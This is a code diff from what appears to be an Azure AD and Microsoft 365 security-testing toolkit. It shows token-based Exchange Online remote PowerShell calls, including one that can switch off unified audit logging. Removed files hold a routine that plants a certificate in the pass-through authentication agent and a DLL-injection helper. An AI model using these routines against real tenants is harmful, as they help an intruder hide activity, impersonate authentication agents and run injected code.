# If Credentials is null, create the credentials object from AccessToken manually
if($Credentials -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$upn = (Read-Accesstoken $AccessToken).upn
$password = ConvertTo-SecureString -String "Bearer $AccessToken" -AsPlainText -Force
$Credentials = [System.Management.Automation.PSCredential]::new($upn,$password)
$Oauth=$True
}
# Create a shell
$SessionId = (New-Guid).ToString().ToUpper()
$Shell_Id = Create-PSRPShell -Credentials $Credentials -SessionId $SessionId -Oauth $Oauth
if([string]::IsNullOrEmpty($Shell_Id))
{
# Something went wrong, exit
return
}
# Create an arguments message
$arguments = @"
<Obj RefId="0"><MS><Obj N="PowerShell" RefId="1"><MS><Obj N="Cmds" RefId="2"><TN RefId="0"><T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T><T>System.Object</T></TN><LST><Obj RefId="3"><MS><S N="Cmd">Set-AdminAuditLogConfig</S><B N="IsScript">false</B><Nil N="UseLocalScope" /><Obj N="MergeMyResult" RefId="4"><TN RefId="1"><T>System.Management.Automation.Runspaces.PipelineResultTypes</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeToResult" RefId="5"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergePreviousResults" RefId="6"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeError" RefId="7"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeWarning" RefId="8"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeVerbose" RefId="9"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeDebug" RefId="10"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="MergeInformation" RefId="11"><TNRef RefId="1" /><ToString>None</ToString><I32>0</I32></Obj><Obj N="Args" RefId="12"><TNRef RefId="0" /><LST><Obj RefId="13"><MS><S N="N">-UnifiedAuditLogIngestionEnabled:</S><B N="V">$($Enable.ToString().ToLower())</B></MS></Obj></LST></Obj></MS></Obj></LST></Obj><B N="IsNested">false</B><Nil N="History" /><B N="RedirectShellErrorOutputPipe">true</B></MS></Obj><B N="NoInput">true</B><Obj N="ApartmentState" RefId="14"><TN RefId="2"><T>System.Threading.ApartmentState</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>Unknown</ToString><I32>2</I32></Obj><Obj N="RemoteStreamOptions" RefId="15"><TN RefId="3"><T>System.Management.Automation.RemoteStreamOptions</T><T>System.Enum</T><T>System.ValueType</T><T>System.Object</T></TN><ToString>0</ToString><I32>0</I32></Obj><B N="AddToHistory">true</B><Obj N="HostInfo" RefId="16"><MS><B N="_isHostNull">true</B><B N="_isHostUINull">true</B><B N="_isHostRawUINull">true</B><B N="_useRunspaceHost">true</B></MS></Obj><B N="IsNested">false</B></MS></Obj>
"@
$message = Create-PSRPMessage -Data $arguments -Type Create_pipeline -ObjectId ($ObjectId++) -MSG_RPID $runspacePoolId
$commandId = (New-Guid).ToString().ToUpper()
$Body = @"
<rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" CommandId="$commandId">
<rsp:Command>Set-AdminAuditLogConfig</rsp:Command>
<rsp:Arguments>$message</rsp:Arguments>
</rsp:CommandLine>
"@
# Create the envelope for Get-AdminAuditLogConfig -cmdlet
$Envelope = Create-PSRPEnvelope -Shell_Id $Shell_Id -SessionId $SessionId -Body $Body -Action Command
$settings = Receive-PSRPObjects -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth -Envelope $Envelope
# Finally remove the shell
Remove-PSRPShell -Credentials $Credentials -Shell_Id $Shell_Id -SessionId $SessionId -Oauth $Oauth
return $settings
}
}
-572
View File
@@ -1,572 +0,0 @@
# PowerShell Remoting Protocol utils
# Fragments
$const_fragment_start = 0x01
$const_fragment_end = 0x02
$const_fragment_start_end = 0x03
$const_fragment_middle = 0x00
$PSRM_message_fragment=@{
$const_fragment_start = "Start"
$const_fragment_end = "End"
$const_fragment_start_end = "Single"
$const_fragment_middle = "Middle"
}
# Destinations
$const_destination_client = 0x01
$const_destination_server = 0x02
$PSRM_message_destination=@{
$const_destination_client = "Client"
$const_destination_server = "Server"
}
# Message types
$const_SESSION_CAPABILITY = 0x00010002
$const_INIT_RUNSPACEPOOL = 0x00010004
$const_PUBLIC_KEY = 0x00010005
$const_ENCRYPTED_SESSION_KEY = 0x00010006
$const_PUBLIC_KEY_REQUEST = 0x00010007
$const_CONNECT_RUNSPACEPOOL = 0x00010008
$const_SET_MAX_RUNSPACES = 0x00021002
$const_SET_MIN_RUNSPACES = 0x00021003
$const_RUNSPACE_AVAILABILITY = 0x00021004
$const_RUNSPACEPOOL_STATE = 0x00021005
$const_CREATE_PIPELINE = 0x00021006
$const_GET_AVAILABLE_RUNSPACES = 0x00021007
$const_USER_EVENT = 0x00021008
$const_APPLICATION_PRIVATE_DATA = 0x00021009
$const_GET_COMMAND_METADATA = 0x0002100A
$const_RUNSPACEPOOL_INIT_DATA = 0x0002100B
$const_RESET_RUNSPACE_STATE = 0x0002100C
$const_RUNSPACEPOOL_HOST_CALL = 0x00021100
$const_RUNSPACEPOOL_HOST_RESPONSE=0x00021101
$const_PIPELINE_INPUT = 0x00041002
$const_END_OF_PIPELINE_INPUT = 0x00041003
$const_PIPELINE_OUTPUT = 0x00041004
$const_ERROR_RECORD = 0x00041005
$const_PIPELINE_STATE = 0x00041006
$const_DEBUG_RECORD = 0x00041007
$const_VERBOSE_RECORD = 0x00041008
$const_WARNING_RECORD = 0x00041009
$const_PROGRESS_RECORD = 0x00041010
$const_INFORMATION_RECORD = 0x00041011
$const_PIPELINE_HOST_CALL = 0x00041100
$const_PIPELINE_HOST_RESPONSE = 0x00041101
$PSRM_message_types=@{
$const_SESSION_CAPABILITY = "Session capability"
$const_INIT_RUNSPACEPOOL = "Init runspacepool"
$const_PUBLIC_KEY = "Public key"
$const_ENCRYPTED_SESSION_KEY = "Encrypted session key"
$const_PUBLIC_KEY_REQUEST = "Public key request"
$const_SET_MAX_RUNSPACES = "Set max runspaces"
$const_SET_MIN_RUNSPACES = "Set min runspaces"
$const_RUNSPACE_AVAILABILITY = "Runspace availability"
$const_APPLICATION_PRIVATE_DATA = "Application private data"
$const_GET_COMMAND_METADATA = "Get command metadata"
$const_RUNSPACEPOOL_STATE = "Runspool state"
$const_CREATE_PIPELINE = "Create pipeline"
$const_GET_AVAILABLE_RUNSPACES = "Get available runspaces"
$const_USER_EVENT = "User event"
$const_RUNSPACEPOOL_HOST_CALL = "Runspacepool host call"
$const_RUNSPACEPOOL_HOST_RESPONSE = "Runspacepool host response"
$const_PIPELINE_STATE = "Pipeline state"
$const_PIPELINE_INPUT = "Pipeline input"
$const_END_OF_PIPELINE_INPUT = "End of pipeline input"
$const_PIPELINE_OUTPUT = "Pipeline output"
$const_PIPELINE_HOST_CALL = "Pipeline host call"
$const_PIPELINE_HOST_RESPONSE = "Pipeline host response"
$const_ERROR_RECORD = "Error record"
$const_DEBUG_RECORD = "Debug record"
$const_VERBOSE_RECORD = "Verbose record"
$const_WARNING_RECORD = "Warning record"
$const_PROGRESS_RECORD = "Progress record"
$const_INFORMATION_RECORD = "Informaition record"
$const_CONNECT_RUNSPACEPOOL = "Connect runspacepool"
$const_RUNSPACEPOOL_INIT_DATA = "Runspacepool init data"
$const_RESET_RUNSPACE_STATE = "Reset runspace state"
}
# Runspace status
$const_beforeopen = 0x00
$const_opening = 0x01
$const_opened = 0x02
$const_closed = 0x03
$const_closing = 0x04
$const_broken = 0x05
$const_negotiationsent = 0x06
$const_negotiationsucceeded = 0x07
$const_connecting = 0x08
$const_disconnected = 0x09
# Invocation state
$const_Notstarted = 0x00
$const_Running = 0x01
$const_Stopping = 0x02
$const_Stopped = 0x03
$const_Completed = 0x04
$const_Failed = 0x05
$const_Disconnected = 0x06
# Waiting messages
$waiting_messages=@(
"Your PC is almost ready..."
"We're getting everything ready for you..."
"Almost there..."
"Back in a moment..."
"This might take several minutes..."
"It's taking a bit longer than expected, but we'll get there as fast as we can..."
"Don't turn off your PC..."
"This might take a while..."
"This might take a while, I'll tell you when we're ready.."
)
# Function returning a random waiting message
function Get-WaitingMessage
{
[int]$msg=Get-Random -Minimum 0 -Maximum ($waiting_messages.Count-1)
return $waiting_messages[$msg]
}
# Parse the PowerShell Remoting Protocol Message
function Parse-PSRPMessage
{
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='Base64',Mandatory=$True)]
[String]$Base64Value,
[Parameter(ParameterSetName='Byte',Mandatory=$True)]
[Byte[]]$ByteArray,
[Parameter(Mandatory=$False)]
[int]$Skip=0
)
Process
{
# If Base64, decode to byte[]
if(![String]::IsNullOrEmpty($Base64Value))
{
Write-Verbose "Decoding message to bytes ($Base64Value)"
[byte[]]$ByteArray = [System.Convert]::FromBase64String($Base64Value)
}
$messageLength = $ByteArray.Count
# Check the length
if($messageLength -le 4)
{
Throw "Message too short"
}
$position = $skip
$messages=@()
# There might be more than one message..
while($position -lt $messageLength)
{
# Message attributes
$attributes = [ordered]@{}
$ps_object_id=[byte[]]$ByteArray[($position)..($position+7)]
$ps_fragment_id=[byte[]]$ByteArray[($position+8)..($position+15)]
$ps_fragment=[int]$ByteArray[($position+16)]
$ps_blobLength=[int][System.BitConverter]::ToUInt32([byte[]]$ByteArray[($position+20)..($position+17)],0)
$ps_destination = [int]$ByteArray[($position+21)]
$ps_messagetype=[int][System.BitConverter]::ToUInt32([byte[]]$ByteArray[($position+25)..($position+28)],0)
$ps_rpid=[byte[]]$ByteArray[($position+29)..($position+44)]
$ps_pid=[byte[]]$ByteArray[($position+45)..($position+60)]
$attributes["Object Id"] = [System.BitConverter]::ToString($ps_object_id)
$attributes["Fragment Id"] = [System.BitConverter]::ToString($ps_fragment_id)
$attributes["Fragment"] = $PSRM_message_fragment[$ps_fragment]
$attributes["Data length"] = $ps_blobLength
$attributes["Destination"] = $PSRM_message_destination[$ps_destination]
$attributes["Message type"] = $PSRM_message_types[$ps_messagetype]
$attributes["RPID"] = ([guid]$ps_rpid).ToString()
$attributes["PID"] = ([guid]$ps_pid).ToString()
# Header length is 64 bytes so the actual data is after that
$xmlBytes = $ByteArray[($position+64)..($position+$ps_blobLength+20)]
$position += $xmlBytes.Count + 64
# The data is UTF8 text
[xml]$xml=[System.Text.Encoding]::UTF8.GetString($xmlBytes)
$attributes["Data"]=$xml.OuterXml
$message = New-Object PSObject -Property $attributes
Write-Verbose "Found message:"
Write-Verbose $message
$messages += $message
}
return $messages
}
}
# Creates the PowerShell Remoting Protocol Message
function Create-PSRPMessage
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Data,
[Parameter(Mandatory=$False)]
[guid]$MSG_RPID = (New-Guid),
[Parameter(Mandatory=$False)]
[guid]$MSG_PID = (New-Guid),
[Parameter(Mandatory=$False)]
[ValidateSet('Server','Client')]
[String]$Destination = "Server",
[Parameter(Mandatory=$False)]
[ValidateSet("Session_capability","Init_runspacepool","Public_key","Encrypted_session_key","Public_key_request","Set_max_runspaces","Set_min_runspaces","Runspace_availability","Application_private_data","Get_command_metadata","Runspool_state","Create_pipeline","Get_available_runspaces","User_event","Runspacepool_host_call","Runspacepool_host_response","Pipeline_state","Pipeline_input","End_of_pipeline_input","Pipeline_output","Pipeline_host_call","Pipeline_host_response","Error_record","Debug_record","Verbose_record","Warning_record","Progress_record","Informaition_record","Connect_runspacepool","Runspacepool_init_data","Reset_runspace_state")]
[String]$Type = "Create_pipeline",
[Parameter(Mandatory=$False)]
[Int]$ObjectId=3
)
Process
{
Write-Verbose "Creating PowerShell Remote Protocol message: $Destination, $Type"
$ByteArray = [System.Text.Encoding]::UTF8.getBytes($Data)
$messageLength = $ByteArray.Count+43 # Add the message header size
# Init the message
$message=@()
$ps_object_id=[byte[]]@(0,0,0,0,0,0,0,$ObjectId)
$ps_fragment_id=[byte[]]@(0,0,0,0,0,0,0,0)
$ps_fragment=[byte]$const_fragment_start_end
$ps_blobLength=[System.BitConverter]::GetBytes([uint32]$messageLength)
if($Destination -eq "Server")
{
$ps_destination = [byte] $const_destination_server
}
else
{
$ps_destination = [byte] $const_destination_client
}
$ps_messagetype=$PSRM_message_types.Keys |? { $PSRM_message_types[$_] -eq $Type.Replace("_"," ") }
$ps_messagetype=[System.BitConverter]::GetBytes([uint32]$ps_messagetype)
$ps_rpid=[byte[]]$MSG_RPID.ToByteArray()
$ps_pid=[byte[]]$MSG_PID.ToByteArray()
# Construct the message
$message += $ps_object_id # 01-08
$message += $ps_fragment_id # 09-16
$message += $ps_fragment # 17
$message += $ps_blobLength[3..0] # 18-21
$message += $ps_destination # 22-25 (continues on the next line)
$message += @(0x00, 0x00, 0x00) #
$message += $ps_messagetype # 26-29
$message += $ps_rpid # 30-45
$message += $ps_pid # 46-61
$message += $const_bom # 62-64
$message += $ByteArray
$b64Message = [System.Convert]::ToBase64String([byte[]]$message)
Write-Verbose "Message created: $b64Message"
return $b64Message
}
}
# Creates a PSRP Envelope
function Create-PSRPEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$SessionId=(New-Guid).ToString(),
[Parameter(Mandatory=$True)]
[String]$Body,
[Parameter(Mandatory=$False)]
[String[]]$Option,
[Parameter(Mandatory=$True)]
[ValidateSet('Create','Receive','Delete','Command')]
[String]$Action,
[Parameter(Mandatory=$False)]
[String]$Shell_Id
)
Process
{
Write-Verbose "Creating PowerShell Remote Protocol envelope: $action, $body"
switch ( $Action )
{
"Command" { $action_url = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command'}
"Create" { $action_url = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Create'}
"Receive" { $action_url = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive'}
"Delete" { $action_url = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete'}
}
$MessageId = (New-Guid).ToString().ToUpper()
$OperationId = (New-Guid).ToString().ToUpper()
$SequenceId="1"
#$To = "https://ps.outlook.com:443/powershell?PSVersion=5.1.17134.590"
$To = "https://outlook.office365.com:443/PowerShell-LiveID?BasicAuthToOAuthConversion=true&amp;PSVersion=5.1.17763.1490"
$Envelope=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>$To</a:To>
<a:ReplyTo>
<a:Address s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
</a:ReplyTo>
<a:Action s:mustUnderstand="true">$action_url</a:Action>
<w:MaxEnvelopeSize s:mustUnderstand="true">512000</w:MaxEnvelopeSize>
<a:MessageID>uuid:$MessageId</a:MessageID>
<w:Locale xml:lang="en-US" s:mustUnderstand="false" />
<p:DataLocale xml:lang="en-US" s:mustUnderstand="false" />
<p:SessionId s:mustUnderstand="false">uuid:$SessionId</p:SessionId>
<p:OperationID s:mustUnderstand="false">uuid:$OperationId</p:OperationID>
<p:SequenceId s:mustUnderstand="false">$SequenceId</p:SequenceId>
<w:ResourceURI xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">http://schemas.microsoft.com/powershell/Microsoft.Exchange</w:ResourceURI>
$(
if(![String]::IsNullOrEmpty($Shell_Id))
{
@"
<w:SelectorSet xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd" xmlns="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
<w:Selector Name="ShellId">$Shell_Id</w:Selector>
</w:SelectorSet>
"@
}
)
$(
if(![String]::IsNullOrEmpty($Option))
{
@"
<w:OptionSet xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" s:mustUnderstand="true">
<w:Option Name="$($Option[0])">$($Option[1])</w:Option>
</w:OptionSet>
"@
}
)<w:OperationTimeout>PT180.000S</w:OperationTimeout>
</s:Header>
<s:Body>
$Body
</s:Body>
</s:Envelope>
"@
# This can be used to compress the data (which we don't want to)
# <rsp:CompressionType s:mustUnderstand="true" xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell">xpress</rsp:CompressionType>
Write-Verbose "ENVELOPE: $Envelope"
return $Envelope
}
}
# Creates a PSRP Envelope
function Call-PSRP
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Envelope,
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[Bool]$Oauth=$false
)
Process
{
Write-Verbose "Calling the Remote PowerShell: $Envelope"
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials
"Content-Type" = "application/soap+xml;charset=UTF-8"
"User-Agent" = "Microsoft WinRM Client"
}
$url="https://outlook.office365.com:443/PowerShell-LiveID?"
# EXO Remote PS uses basic authentication header to provide the Oauth token..
if($Oauth)
{
$url+="BasicAuthToOauthConversion=true;"
}
$url += "PSVersion=5.1.17134.590"
$response = Invoke-WebRequest -UseBasicParsing -Method Post -Uri $url -Headers $headers -Body $Envelope -TimeoutSec 190
Write-Verbose "RESPONSE: $response.Content"
return $response.Content
}
}
# Reads the response(s)
function Receive-PSRP
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$false,
[Parameter(Mandatory=$True)]
[String]$SessionId,
[Parameter(Mandatory=$True)]
[String]$Shell_Id,
[Parameter(Mandatory=$False)]
[String]$CommandId
)
Process
{
Write-Verbose "Retrieving PowerShell Remote Protocol response"
$AuthHeader = Create-AuthorizationHeader -Credentials $Credentials
$CommandIdString =""
if(![String]::IsNullOrEmpty($CommandId))
{
$CommandIdString = " CommandId=`"$CommandId`""
}
$Body = @"
<rsp:Receive xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell" SequenceId="0">
<rsp:DesiredStream$CommandIdString>stdout</rsp:DesiredStream>
</rsp:Receive>
"@
$SessionId = (New-Guid).ToString().ToUpper()
$Envelope = Create-PSRPEnvelope -SessionId $SessionId -Body $Body -Action Receive -Shell_Id $Shell_Id -Option @("WSMAN_CMDSHELL_OPTION_KEEPALIVE","TRUE")
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
Write-Verbose "RESPONSE: $response"
return $response
}
}
# Reads the response(s) and returns an array of objects
function Receive-PSRPObjects
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter()]
[Bool]$Oauth=$false,
[Parameter(Mandatory=$True)]
[String]$Envelope,
[Parameter(Mandatory=$True)]
[String]$SessionId,
[Parameter(Mandatory=$True)]
[String]$Shell_Id,
[Parameter(Mandatory=$False)]
[String]$CommandId
)
Process
{
$return_array = @()
try
{
# Make the command call
$response = Call-PSRP -Envelope $Envelope -Credentials $Credentials -Oauth $Oauth
$get_output = $true
# Get the output
while($get_output)
{
try
{
[xml]$response = Receive-PSRP -Credentials $Credentials -SessionId $SessionId -Shell_Id $Shell_Id -CommandId $commandId -Oauth $Oauth
# Loop through streams
foreach($message in $response.Envelope.Body.ReceiveResponse.Stream)
{
$parsed_message = Parse-PSRPMessage -Base64Value $message.'#text'
[xml]$xmlData = $parsed_message.Data
if($parsed_message.'Message type' -eq "Pipeline output")
{
# Loop thru the attributes
$attributes = [ordered]@{}
foreach($node in $xmlData.Obj.Props.ChildNodes)
{
$name = $node.N
$value = $node.InnerText
if($name -eq "ObjectClass")
{
# Special attribute..
$value=$node.LST.s[1]
}
$attributes[$name]=$value
}
$return_array+=(New-Object psobject -Property $attributes)
}
elseif($parsed_message.'Message type' -eq "Pipeline state")
{
$errorRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='ErrorRecord']").Node.'#text'
if(![string]::IsNullOrEmpty($errorRecord))
{
# Something went wrong, probably not an admin user
Write-Error "Got an error! May be not an admin user?"
Write-Verbose "ERROR: $errorRecord"
}
}
elseif($parsed_message.'Message type' -eq "Warning record")
{
$warningRecord = (Select-Xml -Xml $xmlData -XPath "//*[@N='InformationalRecord_Message']").Node.'#text'
if(![string]::IsNullOrEmpty($warningRecord))
{
Write-Warning $warningRecord
}
}
}
# Loop thru the CommandStates
foreach($state in $response.Envelope.Body.ReceiveResponse.CommandState)
{
# Okay, we're done!
$exitCode = $state.ExitCode
if(![string]::IsNullOrEmpty($exitCode))
{
Write-Progress -Activity "Retrieving objects" -Completed
$get_output = $false
}
}
}
catch
{
# Something wen't wrong so exit the loop
break
}
}
}
catch
{
# Do nothing
}
return $return_array
}
}
-156
View File
@@ -1,48 +1,5 @@
# This script contains utility functions for PTA
# Error codes
$ERROR_ACCESS_DENIED = 5
$ERROR_ACCOUNT_DISABLED = 1331
$ERROR_ACCOUNT_EXPIRED = 1793
$ERROR_ACCOUNT_LOCKED_OUT = 1909
$ERROR_ACCOUNT_RESTRICTION = 1327
$ERROR_AUTHENTICATION_FIREWALL_FAILED = 1935
$ERROR_BAD_ARGUMENTS = 160
$ERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908
$ERROR_DOMAIN_TRUST_INCONSISTENT = 1810
$ERROR_FILENAME_EXCED_RANGE = 206
$ERROR_INTERNAL_ERROR = 1359
$ERROR_INVALID_ACCESS = 12
$ERROR_INVALID_LOGON_HOURS = 1328
$ERROR_INVALID_SERVER_STATE = 1352
$ERROR_INVALID_WORKSTATION = 1329
$ERROR_LDAP_FILTER_ERROR = 87
$ERROR_LDAP_OPERATIONS_ERROR = 1
$ERROR_LOGON_FAILURE = 1326
$ERROR_LOGON_TYPE_NOT_GRANTED = 1385
$ERROR_NETLOGON_NOT_STARTED = 1792
$ERROR_NOT_ENOUGH_MEMORY = 8
$ERROR_NOT_ENOUGH_SERVER_MEMORY = 1130
$ERROR_NO_LOGON_SERVERS = 1311
$ERROR_NO_SUCH_DOMAIN = 1355
$ERROR_NO_SUCH_PACKAGE = 1364
$ERROR_NO_SUCH_USER = 1317
$ERROR_NO_SYSTEM_RESOURCES = 1450
$ERROR_NO_TRUST_SAM_ACCOUNT = 1787
$ERROR_OUTOFMEMORY = 14
$ERROR_PASSWORD_EXPIRED = 1330
$ERROR_PASSWORD_MUST_CHANGE = 1907
$ERROR_PASSWORD_RESTRICTION = 1325
$ERROR_REQUEST_NOT_SUPPORTED = 50
$ERROR_RPC_S_CALL_FAILED = 1726
$ERROR_RPC_S_SERVER_UNAVAILABLE = 1722
$ERROR_TIME_SKEW = 1398
$ERROR_TOO_MANY_CONTEXT_IDS = 1384
$ERROR_TRUSTED_DOMAIN_FAILURE = 1788
$ERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789
$ERROR_WRONG_PASSWORD = 1323
$SEC_E_SMARTCARD_LOGON_REQUIRED = -2146892994
# Registers PTAAgent to the Azure AD
# Nov 10th 2019
# Sep 7th 2022: Added UpdateTrust
@@ -102,116 +59,3 @@ function Register-PTAAgent
}
}
# Sets the certificate used by Azure AD Authentication Agent
# Mar 3rd 2020
# May 18th 2022: Fixed
function Set-PTACertificate
{
<#
.SYNOPSIS
Sets the certificate used by Azure AD Authentication Agent
.DESCRIPTION
Sets the certificate used by Azure AD Authentication Agent.
The certificate must be created with Register-AADIntPTAAgent function or exported with Export-AADIntProxyAgentCertificates.
.Example
Set-AADIntPTACertificate -PfxFileName server1.pfx -PfxPassword "password"
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$PfxFileName="PTA_client_certificate.pfx",
[Parameter(Mandatory=$False)]
[String]$PfxPassword
)
Process
{
# Check if the file exists
if(-not (Test-Path $PfxFileName))
{
Write-Error "The file $PfxFileName does not exist!"
return
}
# Import the certificate twice, otherwise PTAAgent has issues to access private keys
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new((Get-Item $PfxFileName).FullName, $PfxPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::MachineKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
$cert.Import((Get-Item $PfxFileName).FullName, $PfxPassword, [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::MachineKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::PersistKeySet -bor [System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable)
# Add certificate to Local Computer Personal store
$myStore = Get-Item -Path "Cert:\LocalMachine\My"
$myStore.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite)
$myStore.Add($cert)
$myStore.Close()
# Get the Tenant Id and Instance Id
$TenantId = $cert.Subject.Split("=")[1]
foreach($extension in $cert.Extensions)
{
if($extension.Oid.Value -eq "1.3.6.1.4.1.311.82.1")
{
$InstanceID = [guid]$extension.RawData
break
}
}
# Set the registry value (the registy entry should already exists)
Write-Verbose "Setting HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent\InstanceID to $InstanceID"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent" -Name "InstanceID" -Value $InstanceID
if(![string]::IsNullOrEmpty($TenantId))
{
Write-Verbose "Setting HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent\TenantID to $TenantId"
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Azure AD Connect Agents\Azure AD Connect Authentication Agent" -Name "TenantID" -Value $TenantId
}
# Set the certificate thumbprint to config file
$configFile = "$env:ProgramData\Microsoft\Azure AD Connect Authentication Agent\Config\TrustSettings.xml"
Write-Verbose "Setting the certificate thumbprint $($cert.Thumbprint) to $configFile"
[xml]$TrustConfig = Get-Content $configFile
$TrustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.Thumbprint = $cert.Thumbprint
$TrustConfig.ConnectorTrustSettingsFile.CloudProxyTrust.IsInUserStore = "false"
$TrustConfig.OuterXml | Set-Content $configFile
# Set the read access to private key
$ServiceUser="NT SERVICE\AzureADConnectAuthenticationAgent"
# Create an accessrule for private key
$AccessRule = New-Object Security.AccessControl.FileSystemAccessrule $ServiceUser, "read", allow
# Give read permissions to the private key
$keyName = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert).Key.UniqueName
Write-Verbose "Private key: $keyName"
$paths = @(
"$env:ALLUSERSPROFILE\Microsoft\Crypto\RSA\MachineKeys\$keyName"
"$env:ALLUSERSPROFILE\Microsoft\Crypto\Keys\$keyName"
)
foreach($path in $paths)
{
if(Test-Path $path)
{
Write-Verbose "Setting read access for ($ServiceUser) to the private key ($path)"
try
{
$permissions = Get-Acl -Path $path -ErrorAction SilentlyContinue
$permissions.AddAccessRule($AccessRule)
Set-Acl -Path $path -AclObject $permissions -ErrorAction SilentlyContinue
}
catch
{
Write-Error "Could not give read access for ($ServiceUser) to the private key ($path)!"
}
break
}
}
Write-Host "`nCertification information set, remember to (re)start the service."
}
}
-91
View File
@@ -1,91 +0,0 @@
# Process utils
# May 20th 2019
function Execute-Process
{
<#
.SYNOPSIS
Executes a given executable, batch, etc. in a new process and returns its stdout.
.DESCRIPTION
Executes a given executable, batch, etc. in a new process and returns its stdout.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$FileName,
[Parameter(Mandatory=$True)]
[String]$Arguments
)
Process
{
# Create ProcessStartInfo
$info = New-Object System.Diagnostics.ProcessStartInfo
$info.FileName = $FileName
$info.Arguments = $Arguments
$info.CreateNoWindow = $true
$info.RedirectStandardOutput = $true
$info.UseShellExecute = $false
# Create a new process and execute it
$ps = New-Object System.Diagnostics.Process
$ps.StartInfo = $info
$ps.Start() | Out-Null
$ps.WaitForExit()
# Get the output and return it
$stdout = $ps.StandardOutput.ReadToEnd()
return $stdout
}
}
# May 20th 2019
function Inject-DLL
{
<#
.SYNOPSIS
Injects a given DLL to the given process
.DESCRIPTION
Injects a given DLL to the given process.
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$ProcessID,
[Parameter(Mandatory=$True)]
[String]$FileName,
[Parameter(Mandatory=$False)]
[String]$Function
)
Process
{
$InjectDLL = "$PSScriptRoot\InjectDLL.exe"
$arguments = "$ProcessID `"$Filename`""
if(![string]::IsNullOrEmpty($function))
{
$arguments += " $function"
}
Write-Verbose "Invoking: $InjectDLL $arguments"
Execute-Process -FileName $InjectDLL -Arguments $arguments
}
}
# May 20th 2019
Function Get-ShortName {
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$FileName
)
Process
{
$ScriptingFSO = New-Object -ComObject Scripting.FileSystemObject
return $ScriptingFSO.GetFile($($FileName)).ShortPath
}
}
+5 -1
View File
@@ -133,8 +133,12 @@ function Call-ProvisioningAPI
)
Process
{
$Headers=@{
"User-Agent" = Get-UserAgent
}
# Call the API
Invoke-RestMethod -UseBasicParsing -Uri "https://provisioningapi.microsoftonline.com/provisioningwebservice.svc" -ContentType "application/soap+xml" -Method POST -Body $envelope
